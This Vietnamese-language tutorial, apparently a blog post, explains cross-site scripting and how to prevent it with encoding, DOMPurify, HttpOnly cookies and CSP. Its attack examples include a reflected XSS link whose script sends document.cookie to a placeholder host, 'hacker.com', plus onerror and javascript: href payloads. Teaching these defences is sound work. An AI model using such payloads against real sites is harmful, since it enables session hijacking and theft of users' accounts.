Cross-Site Scripting (XSS)
Trong thế giới Web Security, XSS (Cross-Site Scripting) luôn nằm trong danh sách những lỗ hổng phổ biến và nguy hiểm nhất. Dù bạn là một Senior hay Junior, nếu không cẩn thận, website của bạn hoàn toàn có thể trở thành "cánh cổng" để kẻ tấn công thực thi mã độc trên trình duyệt người dùng.
Bài viết này được tổng hợp từ kinh nghiệm thực tế để giúp các bạn hiểu rõ bản chất, cách tấn công và quan trọng nhất là cách phòng chống XSS một cách triệt để.
1. XSS là gì và nó nguy hiểm như thế nào?
XSS xảy ra khi một ứng dụng web vô tình cho phép chèn các đoạn mã JavaScript độc hại vào dữ liệu mà website tin tưởng. Sau đó, chính website này lại phân phối đoạn mã đó tới trình duyệt của người dùng khác.
Khi trình duyệt nhận được mã này, nó sẽ thực thi như thể đó là một phần hợp lệ của website. Hậu quả để lại vô cùng nghiêm trọng:
Thay đổi giao diện (UI Manipulation): Kẻ tấn công có thể chèn các Pop-up giả mạo, các form cảnh báo khẩn cấp hoặc link lừa đảo để dụ người dùng click.
Đánh cắp thông tin nhạy cảm: JavaScript có thể đọc được Cookie, Local Storage, Access Token hoặc Session Identifier. Attacker có thể chiếm quyền điều khiển tài khoản mà không cần biết mật khẩu.
Thực hiện hành động thay người dùng: Thay đổi email, đổi mật khẩu, thậm chí thực hiện các giao dịch tài chính âm thầm mà nạn nhân không hề hay biết.
2. Kịch bản tấn công thực tế
Nhiều Dev lầm tưởng rằng Attacker phải hack vào Server hoặc Database mới chèn được mã. Thực tế, họ chỉ cần lợi dụng các ô nhập liệu (Input) của người dùng.
Ví dụ 1: XSS qua thanh Search (Reflected XSS)
Giả sử bạn có tính năng tìm kiếm sản phẩm. Khi người dùng nhập từ khóa, website hiển thị lại từ khóa đó trên màn hình và trên URL: https://example.com/search?q=iphone.
Nếu Attacker gửi link: https://example.com/search?q=<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script> Nạn nhân click vào link này, trình duyệt sẽ tự động thực thi đoạn mã gửi Cookie về Server của hacker.
Ví dụ 2: Vượt qua sự lầm tưởng về thẻ <script>
XSS không chỉ nằm trong thẻ <script>. JavaScript có thể thực thi ở rất nhiều vị trí khác trong HTML:
Sử dụng Event Handler: <img src="x" onerror="alert('XSS')">
Sử dụng thuộc tính href: <a href="javascript:alert('XSS')">Click me</a>
Sử dụng thuộc tính style:
(trên các trình duyệt cũ)3.Giải pháp phòng chống triệt để
Nguyên tắc 01: Encode dữ liệu khi hiển thị (Quan trọng nhất)
Đừng bao giờ hiển thị nội dung người dùng nhập dưới dạng HTML nếu không thực sự cần thiết. Hãy render dưới dạng Plain Text.
=> xem tại video
Nguyên tắc 02: Sanitize HTML (Làm sạch dữ liệu)
Nếu bắt buộc phải render HTML (ví dụ: nội dung bài viết từ CKEditor), bạn phải lọc bỏ các thẻ và thuộc tính nguy hiểm trước khi hiển thị.
Sử dụng thư viện uy tín như DOMPurify:
import DOMPurify from 'dompurify';
const rawHTML = '<img src=x onerror=alert(1)> Nội dung hợp lệ'; const cleanHTML = DOMPurify.sanitize(rawHTML); // Kết quả: Nội dung hợp lệ (Thẻ img chứa mã độc đã bị loại bỏ)
Lưu ý: Bạn nên thực hiện Sanitize cả ở phía Backend trước khi lưu vào Database để tránh trường hợp Attacker dùng công cụ như Postman để bypass giao diện và đẩy mã độc trực tiếp vào hệ thống (Stored XSS).
Nguyên tắc 03: Tăng cường bảo mật với HTTP Only Cookie
Bật flag HttpOnly cho Cookie chứa Session/Token. Điều này ngăn chặn JavaScript (kể cả mã độc XSS) truy cập vào Cookie thông qua document.cookie. XSS vẫn có thể xảy ra, nhưng kẻ tấn công không thể lấy cắp phiên đăng nhập.
Nguyên tắc 04: Content Security Policy (CSP)
Sử dụng header Content-Security-Policy để quy định những nguồn tài nguyên (script, image) nào được phép tải và thực thi. Ví dụ: Content-Security-Policy: default-src 'self'; -> Chỉ cho phép chạy script từ chính domain của website, ngăn chặn hoàn toàn mã inline và script từ domain lạ.
Lời kết
XSS là một lỗ hổng cơ bản nhưng cực kỳ nguy hiểm. Đừng bao giờ tin tưởng vào input của người dùng và đừng phụ thuộc hoàn toàn vào các thư viện Editor. Hãy chủ động Sanitize dữ liệu ở cả hai phía và áp dụng các lớp bảo mật bổ sung như CSP hay HttpOnly Cookie.
Hy vọng bài viết giúp ích cho các bạn trong việc xây dựng hệ thống an toàn hơn!
#Security #XSS #WebDevelopment #BảoMật #Viblo
All rights reserved